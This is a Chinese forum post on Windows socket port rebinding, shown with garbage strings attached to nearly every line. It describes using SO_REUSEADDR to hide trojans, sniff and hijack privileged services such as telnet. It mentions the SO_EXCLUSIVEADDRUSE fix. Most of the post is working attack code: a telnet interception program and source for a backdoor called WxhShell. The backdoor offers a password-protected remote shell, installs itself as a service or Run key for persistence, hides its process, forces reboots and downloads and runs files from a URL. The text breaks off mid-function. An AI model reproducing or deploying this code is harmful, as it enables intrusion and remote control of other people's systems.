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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: lSP{9L6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 0 [6llcuj  
Fs_,RXW"  
  saddr.sin_family = AF_INET; 7kpCBLM(}  
*8k`m)h26  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); f M 8kS  
.N~qpynY  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); a(CZGIB  
p '{ `Uvr  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 :&$4&\_F  
Bm%.f!`  
  这意味着什么?意味着可以进行如下的攻击:  /bA\O   
kf~71G+  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 js )G   
uYjJDLYoHl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =y>P>&sI  
!v\m%t|.  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 $eQ_!7Gom$  
\phG$4(7+  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ll;#4~iA  
#|^7{TN   
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5r/QPJ<h  
6suB!XF;  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 Z5~dU{XsT  
WH :+HNl1d  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 L;.6j*E*  
X70vDoW  
  #include AEkgm^t.{  
  #include &*g5kh{  
  #include 6$wS7Cu  
  #include    Ne/jvWWN  
  DWORD WINAPI ClientThread(LPVOID lpParam);   /:dVW" A|  
  int main() {(G@YG?  
  { AG) N^yd  
  WORD wVersionRequested; [:$j<}UmB  
  DWORD ret; /b@0HL?  
  WSADATA wsaData; >K#Z]k  
  BOOL val; Vja' :i  
  SOCKADDR_IN saddr; FVLXq0<Cj  
  SOCKADDR_IN scaddr; L]0+ u\(  
  int err; SqY;2:  
  SOCKET s; jM J[6qj  
  SOCKET sc; M0o=bYI  
  int caddsize; yZI4%fen  
  HANDLE mt; ZTd_EY0q  
  DWORD tid;   pfg"6P  
  wVersionRequested = MAKEWORD( 2, 2 ); 'ntb.S)  
  err = WSAStartup( wVersionRequested, &wsaData ); en7i})v\".  
  if ( err != 0 ) { H^"BK-`hs  
  printf("error!WSAStartup failed!\n"); :YjOv  
  return -1; Tp~yn  
  } !Dkz6B*  
  saddr.sin_family = AF_INET; mh44  
   sAk~`(:4!  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Bt,qG1>$-  
)?'sw5C  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,)V*xpp  
  saddr.sin_port = htons(23); lsW.j#yE!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) S$%/9^\jF  
  { 6f 6_ztTL  
  printf("error!socket failed!\n"); +YT/od1t7  
  return -1; 6N.mSnp  
  } =pWpHbB.  
  val = TRUE; fh$U"  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 En6fmEn&;o  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) a[s%2>e  
  { W_8 FzXA  
  printf("error!setsockopt failed!\n"); =YA%= d_  
  return -1; 'DsfKR^ s  
  } &0f7>.y  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; [k-7Kq  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 8q7KqYu  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 <t]c'  
%H<w.]>  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _KmpC>J+  
  { ~2@U85"o  
  ret=GetLastError(); K *vNv 4  
  printf("error!bind failed!\n"); (#c5Q&  
  return -1; _'n;rZ+  
  } #CV(F$\1{  
  listen(s,2); 2)RW*Qu;+  
  while(1) &:]_a?|*S  
  { o)}b Fw  
  caddsize = sizeof(scaddr); 4)2*|w  
  //接受连接请求 oBqP^uT>a|  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); B>X+eK  
  if(sc!=INVALID_SOCKET) 1sc #!^Oo  
  { 9ciL<'H\  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); TOMvJ>bF  
  if(mt==NULL) g/z9bOgIX  
  { e/;Ui  
  printf("Thread Creat Failed!\n"); Kox~k?JK  
  break; b,T=0W  
  } Zpb3>0<R  
  } }J`{g/  
  CloseHandle(mt); 2l5@gDk5  
  } [%l+ C~m  
  closesocket(s); EUuMSDp  
  WSACleanup(); '4Z%{.;  
  return 0; ^0{S!fs  
  }   m_rRe\  
  DWORD WINAPI ClientThread(LPVOID lpParam) e7#=F6  
  { qx0o,oZN!  
  SOCKET ss = (SOCKET)lpParam; =5Q;quKu^5  
  SOCKET sc; (!X:[Ah*$  
  unsigned char buf[4096]; u6r-{[W}  
  SOCKADDR_IN saddr; xDADJ>u2K  
  long num; mSQ!<1PM  
  DWORD val; W\~ZmA.  
  DWORD ret; "r"]NyM  
  //如果是隐藏端口应用的话,可以在此处加一些判断 T>f-b3dk  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   qWE"vI22M  
  saddr.sin_family = AF_INET; S"3g 1yU^_  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Z/-%Eb]L1  
  saddr.sin_port = htons(23); \ vJ*3H6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^"buF\3L  
  { Bl`e+&b  
  printf("error!socket failed!\n"); '[-H].-!   
  return -1; #i2q}/w5`C  
  } 3;:xEPb._6  
  val = 100; 4zf#zJw  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H8\{ GGg  
  { ) ]~HjA;  
  ret = GetLastError(); %< j=&  
  return -1; _%1.D0<~-E  
  } 38'H-]8q"  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) APc@1="#J  
  { *DNH_8m  
  ret = GetLastError(); ,+'f unH  
  return -1; ZN4&:9M  
  } ae!_u \$  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) }f-rWe{gs>  
  { 7gQt k  
  printf("error!socket connect failed!\n"); 9(X *[X#  
  closesocket(sc);  %;W8;  
  closesocket(ss); Ue,"CQ6H  
  return -1; ! h4So4p  
  } ^Ws~h\{%  
  while(1) 0]HK (,/h  
  { :sA-$*&x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 sg6cq_\  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ,RT\&Ze5  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 i-ogeR?  
  num = recv(ss,buf,4096,0); czZ-C +}%  
  if(num>0) `HJwwKd  
  send(sc,buf,num,0); A1'IK.  
  else if(num==0) 'M'LJ.,"/  
  break; I" j7  
  num = recv(sc,buf,4096,0); A,=l9hE'  
  if(num>0) O/-OW: 03  
  send(ss,buf,num,0); @K+u+} R  
  else if(num==0) rW6w1  
  break; *v5y]E%aW  
  } /:USpuu  
  closesocket(ss); 'Gt`3qG  
  closesocket(sc); Bf* F ^  
  return 0 ; SfR!q4b=  
  } )7`~U"r  
0>?mF]M  
bg=`   
========================================================== ?b7vc^E&  
\@F{Q-  
下边附上一个代码,,WXhSHELL X|q0m3jt  
zYs? w=  
========================================================== U NAuF8>K  
?t%5/  
#include "stdafx.h" ^|\?vA  
&WRoNc  
#include <stdio.h> ,}|V'y  
#include <string.h> ?<}qx`+%Q  
#include <windows.h> .ZJh-cd  
#include <winsock2.h> "1nd~ BBOw  
#include <winsvc.h> j68Gz5;j  
#include <urlmon.h> 0yZw`|Zh[  
34l=U?  
#pragma comment (lib, "Ws2_32.lib") D@ lJ^+  
#pragma comment (lib, "urlmon.lib") z"H%Y 8  
SMy&K[hJ[  
#define MAX_USER   100 // 最大客户端连接数 LpiLk| 2i  
#define BUF_SOCK   200 // sock buffer AP~!YwLW  
#define KEY_BUFF   255 // 输入 buffer pKJ[e@E^  
SwL\=nq+~  
#define REBOOT     0   // 重启 EXi+pm  
#define SHUTDOWN   1   // 关机 q_K1L  
ujSzm=_P  
#define DEF_PORT   5000 // 监听端口  _HL3XT  
[&4y@  
#define REG_LEN     16   // 注册表键长度 tw(2V$J  
#define SVC_LEN     80   // NT服务名长度 %B?5l^W@  
z>&D~0  
// 从dll定义API d+w<y~\ q  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jGWLYI=V2  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 3z ry %qV=  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); BA5= D>T-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); y7Ub~q U  
ZN1p>+oY!  
// wxhshell配置信息 NR [VGZj  
struct WSCFG { IpP0|:}  
  int ws_port;         // 监听端口 d^Wh-U  
  char ws_passstr[REG_LEN]; // 口令 bpILiC  
  int ws_autoins;       // 安装标记, 1=yes 0=no N?Z?g_a8  
  char ws_regname[REG_LEN]; // 注册表键名 %2+]3h>g  
  char ws_svcname[REG_LEN]; // 服务名 @rF\6I  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 u`~{:V  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 GhT7:_r~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 th<]L<BP/  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CNz[@6-cYU  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;wF|.^_2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 yUG5'<lX  
$5o<Mj  
}; /l`XJs  
j AE0$u~.  
// default Wxhshell configuration 7lpVK]  
struct WSCFG wscfg={DEF_PORT, X>4`{x`  
    "xuhuanlingzhe", 9..k/cH  
    1, a]k&$  
    "Wxhshell", {3R ax5Ty  
    "Wxhshell", ^/uGcz|.  
            "WxhShell Service", .s?OKy  
    "Wrsky Windows CmdShell Service", 4s8E:I=K  
    "Please Input Your Password: ", {?iqO?  
  1, :}z% N7T  
  "http://www.wrsky.com/wxhshell.exe", yKI.TR#  
  "Wxhshell.exe" V Y3{1Dlf  
    }; Yp)U'8{h c  
w~&]gyf  
// 消息定义模块 K6U>Qums  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {Vm36/a  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Dfo9jYPf  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8G P}g?%  
char *msg_ws_ext="\n\rExit."; ( A)wcB  
char *msg_ws_end="\n\rQuit."; *J=ol  
char *msg_ws_boot="\n\rReboot..."; l.juys8s  
char *msg_ws_poff="\n\rShutdown..."; 85 hYYB0v  
char *msg_ws_down="\n\rSave to "; "m3Y))a  
r;C\eN  
char *msg_ws_err="\n\rErr!"; ~}AP@t*  
char *msg_ws_ok="\n\rOK!"; {;E/l(HNI  
(?!0__NN;  
char ExeFile[MAX_PATH]; Kd)m"9Cc  
int nUser = 0; ss<'g@R  
HANDLE handles[MAX_USER]; abnd U,s  
int OsIsNt; ni> ;8O]=  
NjxW A&[ng  
SERVICE_STATUS       serviceStatus; m+UdT854  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Q(6(Scp{  
(ZK >WoV  
// 函数声明 jh G7sS|  
int Install(void); (0Cszm.  
int Uninstall(void); hl:eF:'hm  
int DownloadFile(char *sURL, SOCKET wsh); { 1%ZyY  
int Boot(int flag); >B  
void HideProc(void); d@tr]v5 B  
int GetOsVer(void); zTB9GrU  
int Wxhshell(SOCKET wsl); E2|iAT+=.  
void TalkWithClient(void *cs); obq}#  
int CmdShell(SOCKET sock); =@ZtUjcJx  
int StartFromService(void); O| ]Ped9  
int StartWxhshell(LPSTR lpCmdLine); l,FoK76G  
s>\g03=  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @45H8|:k  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); [u80-x<  
(do=o&9p m  
// 数据结构和表定义 hhGpB$A  
SERVICE_TABLE_ENTRY DispatchTable[] = H\mVK!](D  
{ %#9~V  
{wscfg.ws_svcname, NTServiceMain}, EC'bgFe  
{NULL, NULL} 0Q>|s_  
}; E+zn\v  
1,QZnF!.x  
// 自我安装 z-5#bOABW  
int Install(void) 3L?a4,Q"k}  
{ GuWBl$|+b  
  char svExeFile[MAX_PATH]; Ba0D"2CgY  
  HKEY key; y Xx62J  
  strcpy(svExeFile,ExeFile); e,&%Z  
bOMP8{H,  
// 如果是win9x系统,修改注册表设为自启动 sjgR \`AU  
if(!OsIsNt) { 0 0&$SE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { MPn>&28"|K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |:+pPh!-  
  RegCloseKey(key); i(;-n_:, `  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G3+a+=e  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r5!M;hU1j  
  RegCloseKey(key); rVy\,#|  
  return 0; 03WRj+w  
    } q&Wwt qc9  
  } !h>$bm  
} [!? ,TGM}^  
else { -/c1qLdQ  
j#P4Le[t  
// 如果是NT以上系统,安装为系统服务 K=TW}ZO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i%PHYSJ.  
if (schSCManager!=0) O^weUpe\  
{ YO$b#  
  SC_HANDLE schService = CreateService T1HiHvJ  
  ( Xl6ZV,1=n7  
  schSCManager, cGta4;  
  wscfg.ws_svcname, IQ=|Kj9h  
  wscfg.ws_svcdisp, ,7jiHF  
  SERVICE_ALL_ACCESS, "!6~*!]c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xKST-:c+  
  SERVICE_AUTO_START, oy bzD  
  SERVICE_ERROR_NORMAL, #4 &N0IG  
  svExeFile, f^sb0nU  
  NULL, l=~9 9mE  
  NULL, F>kn:I"X)  
  NULL, +1jqCW  
  NULL, %GCd?cFF  
  NULL D.R|HqZ  
  ); |uwteG5?$s  
  if (schService!=0) TL{pc=eBo  
  { ku9F N  
  CloseServiceHandle(schService); X/,1]  
  CloseServiceHandle(schSCManager); Pq\V($gN  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rn(F#tI  
  strcat(svExeFile,wscfg.ws_svcname); I+?$4SC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2mU-LQ1WN  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zGd*Q5l  
  RegCloseKey(key); , gr&s+  
  return 0; |ezO@  
    } mRnzP[7-\)  
  } FJ,\?ooGf  
  CloseServiceHandle(schSCManager); ?Wz(f{Hm  
} k=~pA iRDN  
} >wk=`&+V@  
RyQ\5^z  
return 1; gc:p@<  
} Y1_6\zpA  
lPQ Ut!xI  
// 自我卸载 VfC[U)w*vm  
int Uninstall(void) .y_bV=  
{ $CwTNm?  
  HKEY key; d>b,aj(  
p9}c6{Wp  
if(!OsIsNt) { |XA aKZA  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t2%@py*bU  
  RegDeleteValue(key,wscfg.ws_regname); B0XBI0w^Y  
  RegCloseKey(key); WlRZ|.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &T/q0bwd  
  RegDeleteValue(key,wscfg.ws_regname); 0/00 W6r0  
  RegCloseKey(key); (9 z.IH7}k  
  return 0; UNcJ=   
  } JvWs/AG1  
} {S"  
} O{cGk: y  
else { q{Ta?|x#  
:f !=_^}  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @uM3iO7&  
if (schSCManager!=0) dYew 7  
{ ;0Ct\[eh  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); OG?j6q hpl  
  if (schService!=0) tqwk?[y}+l  
  { ];{l$-$$  
  if(DeleteService(schService)!=0) { O$umu_  
  CloseServiceHandle(schService); v6DxxE2n  
  CloseServiceHandle(schSCManager); )"c]FI[}  
  return 0; L1!hF3G  
  } MV;Y?%>  
  CloseServiceHandle(schService); GKsL~;8"  
  } )bCG]OM7<  
  CloseServiceHandle(schSCManager); Rw ao5l=x  
} >&Ui*  
} 0@e}hv;  
{Fp`l\,  
return 1; s8yTK2v2\  
} PxVI {:Uz  
yc%E$g  
// 从指定url下载文件 !%RJC,X  
int DownloadFile(char *sURL, SOCKET wsh) #9hXZr/8  
{ x [{q&N!"`  
  HRESULT hr; vu'!-K=0  
char seps[]= "/"; mLk6!&zN  
char *token; XAULD]Q  
char *file; lF}$`6  
char myURL[MAX_PATH]; i h$@:^\  
char myFILE[MAX_PATH]; vPl6Das r  
ZG \ I1  
strcpy(myURL,sURL); WP@JrnxO\`  
  token=strtok(myURL,seps); < ;,S"e  
  while(token!=NULL) Th;gps%b  
  { Z/6'kE{l  
    file=token; K'{W9~9Lq  
  token=strtok(NULL,seps); g"dZB2`C  
  } \l=KWa3Q  
Q1ABnacR  
GetCurrentDirectory(MAX_PATH,myFILE); }2BH_  2  
strcat(myFILE, "\\"); 5Ckk5b  
strcat(myFILE, file); $G-N0LV  
  send(wsh,myFILE,strlen(myFILE),0); WP% {{zR$  
send(wsh,"...",3,0); 8NAWA3^B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); XC/]u%n8](  
  if(hr==S_OK) X\3 ,NR,  
return 0; |!xfIR>=F  
else [`zbf_RyO  
return 1; !.2CAL  
uRB)g  
} spSN6 .j  
(9YYv+GGd*  
// 系统电源模块 '[=yfh   
int Boot(int flag) X4P}aC  
{ ll<9f)  
  HANDLE hToken; z7t'6Fy9'  
  TOKEN_PRIVILEGES tkp; ;oY(I7  
s7UhC.>'@  
  if(OsIsNt) { JJ N(M*;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); BudWbZ5>Ep  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); we H@S  
    tkp.PrivilegeCount = 1; A}#]g>L  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -|k&L}\OB0  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); CNpe8M=/3  
if(flag==REBOOT) { HV$9b~(  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) z7@(uIl=X  
  return 0; Ah"'hFY  
} 4*D fI  
else { Kixr6\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N&x WHFn]C  
  return 0; DQ n`@  
} 7{K i;1B[w  
  } P"V{y|2  
  else { ,. 6J6{  
if(flag==REBOOT) { }W__ffH  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J2oWssw"  
  return 0; 8=n9hLhqo  
} lZS_n9Sc  
else { +C'TW^  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >TlW]st  
  return 0; j2 o1"  
} !0!U01SWa  
} /.| A  
[yYH>~SuwZ  
return 1; :Er^"9'A2  
} m<FWv2)^  
)O2Nlk~l&  
// win9x进程隐藏模块 >2|[EZ  
void HideProc(void) ]e@0T{!  
{ !e:iB7<  
)D Gz`->  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); k"q!|+&Fs  
  if ( hKernel != NULL ) E,<\T6/%q  
  { .0Iun+nUD  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); QX/X {h6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); *%OYAsc  
    FreeLibrary(hKernel); Hyq@O 8  
  } 't0+:o">:  
v.l7Q  
return; Xx3 g3P  
} w'oo-.k  
z_:eM7]jv  
// 获取操作系统版本 J0ZxhxX35  
int GetOsVer(void) *]}CSZ[>  
{ {uaZ<4N.  
  OSVERSIONINFO winfo; 4GU/V\e|  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eq@am(#&kY  
  GetVersionEx(&winfo); <THZ2`tTK3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) d}{LM!s  
  return 1; 7xv4E<r2  
  else yyY~ *Le  
  return 0; `2x H7a-  
} {) :%Wn M9  
?Do^stq'4  
// 客户端句柄模块 c-4m8Kg?L  
int Wxhshell(SOCKET wsl) b!'l\~`{i  
{ JQKC ;p  
  SOCKET wsh; Ow cVPu_  
  struct sockaddr_in client; '%zN  
  DWORD myID; W>5vRwx00  
,hpH!J'5f/  
  while(nUser<MAX_USER) ~ON1Zw[+  
{ *#&k+{a^2  
  int nSize=sizeof(client); |^7f\.oF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8sN#e(@  
  if(wsh==INVALID_SOCKET) return 1; V=j-Um;  
DS#c m3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); w/b>awI  
if(handles[nUser]==0) =jg#fdM -  
  closesocket(wsh); ..t,LU@|  
else eu# ,WwlG  
  nUser++; GVmC }>z  
  } 0bMoUy*q  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); lLb:f6N  
v! 7s M  
  return 0; _GVE^yW~z  
} U@Z>/ q  
nNt*} k  
// 关闭 socket X+=-f^)&  
void CloseIt(SOCKET wsh) o&(wg(Rv  
{ 8YuJ8KC  
closesocket(wsh); -PNi^ K_  
nUser--; )y9;OA  
ExitThread(0); Y/. AUN Z  
} NH7`5mF$  
A /q2g7My  
// 客户端请求句柄 ifXW  
void TalkWithClient(void *cs)  !M  
{ Ye9Y^+-  
x(L(l=^"  
  SOCKET wsh=(SOCKET)cs; , N53Iic  
  char pwd[SVC_LEN]; &4,WG  
  char cmd[KEY_BUFF]; |u@+`4o  
char chr[1]; OF c\fW#  
int i,j; ojHhT\M`  
!Y ( apVQ  
  while (nUser < MAX_USER) { t#C,VwMe[  
!Eq#[Gs  
if(wscfg.ws_passstr) { ]UDd :2yt  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q[7CPE0n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9<yAQ?7 L  
  //ZeroMemory(pwd,KEY_BUFF); rh@r\ H@j  
      i=0; "jMqt9ysN  
  while(i<SVC_LEN) { bS>R5*Zp  
HF"Eys  
  // 设置超时 >~_J q|KBB  
  fd_set FdRead; 6+.>5e  
  struct timeval TimeOut; S]}}A  
  FD_ZERO(&FdRead); n.*3,4.]  
  FD_SET(wsh,&FdRead); PU W[e%  
  TimeOut.tv_sec=8; U^MuZ  
  TimeOut.tv_usec=0; .%q$d d>>  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); v=!YfAn  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 93j{.0]X  
8{dEpV*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); /Rj#sxtdw  
  pwd=chr[0]; }g~g50ci  
  if(chr[0]==0xd || chr[0]==0xa) { Kx~$Bor_!  
  pwd=0; ZWO)tVw9G  
  break; 11@]d ]v ,  
  } Q]@c&*_|  
  i++; 089 k.WG  
    } >OV<_(S4  
nX|Q~x]  
  // 如果是非法用户,关闭 socket H@GE)I>^@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); hk%k(^ekU]  
} Hou*lCA  
t8QRi!\=  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); @5xu>gKn  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (Yv{{mIy  
B MM--y@  
while(1) { T-'~?[v  
;f:gX`"\  
  ZeroMemory(cmd,KEY_BUFF); ^i+[m  
]jyM@  
      // 自动支持客户端 telnet标准   @Br {!#Wf  
  j=0; u:@U $:sZ  
  while(j<KEY_BUFF) { B{C_hy-fw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ^T:gb]i'Qa  
  cmd[j]=chr[0]; ?]c+j1 i  
  if(chr[0]==0xa || chr[0]==0xd) { 8V9 [a*9  
  cmd[j]=0; \q "N/$5{f  
  break; ef=K_, _  
  } r`j Wp\z  
  j++; %Tv^GP{}  
    } gY(1,+0-  
`0{ S3v  
  // 下载文件 5,1{Tv`  
  if(strstr(cmd,"http://")) { U&UKUACn"  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 44\cI]!{  
  if(DownloadFile(cmd,wsh)) kZLMtj-   
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4U=75!>  
  else Z<U>A   
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F30 ]  
  }  W^Y#pn  
  else { SHV4!xP-V  
!4WEk  
    switch(cmd[0]) { T dk ,&8  
  )0k']g5  
  // 帮助 }s_hD`'  
  case '?': { KVkMU?6  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); $d/&k`  
    break; (&[[46  
  } +H_MV=A^  
  // 安装 )55\4<ty  
  case 'i': { bUZ_UW  
    if(Install()) `pL^}_>|GM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Zp&@h-%YoD  
    else 9XLFHV("  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); S|em[D[Y^  
    break; ('C7=u&F  
    } #]E(N~  
  // 卸载 ujr(K=E  
  case 'r': { Y ya`&V  
    if(Uninstall()) A(8n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S QY"OBo<e  
    else =WG=C1Z  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); EHn"n"Y  
    break; I7n3xN&4"  
    } krB'9r<wa`  
  // 显示 wxhshell 所在路径 ~6aCfbu%V  
  case 'p': { c+kU o$  
    char svExeFile[MAX_PATH]; LOvHkk@+  
    strcpy(svExeFile,"\n\r"); "Pz}@=  
      strcat(svExeFile,ExeFile); "5Uh< X  
        send(wsh,svExeFile,strlen(svExeFile),0); 8z2Rry w  
    break; /KCPpERk{  
    } Nc)J18  
  // 重启  En6H%^d2  
  case 'b': { p`F9Amb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *|% ^0#$c  
    if(Boot(REBOOT)) V0*3;n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c~=B0K-  
    else { =JS;;PzX[  
    closesocket(wsh); y "w|g~x]c  
    ExitThread(0); pZ(Fx&fy  
    } J=W0Xi !  
    break; ;sPoUn s'  
    } 9H0H u]zM  
  // 关机 $HJTj29/  
  case 'd': { (=4W -z7  
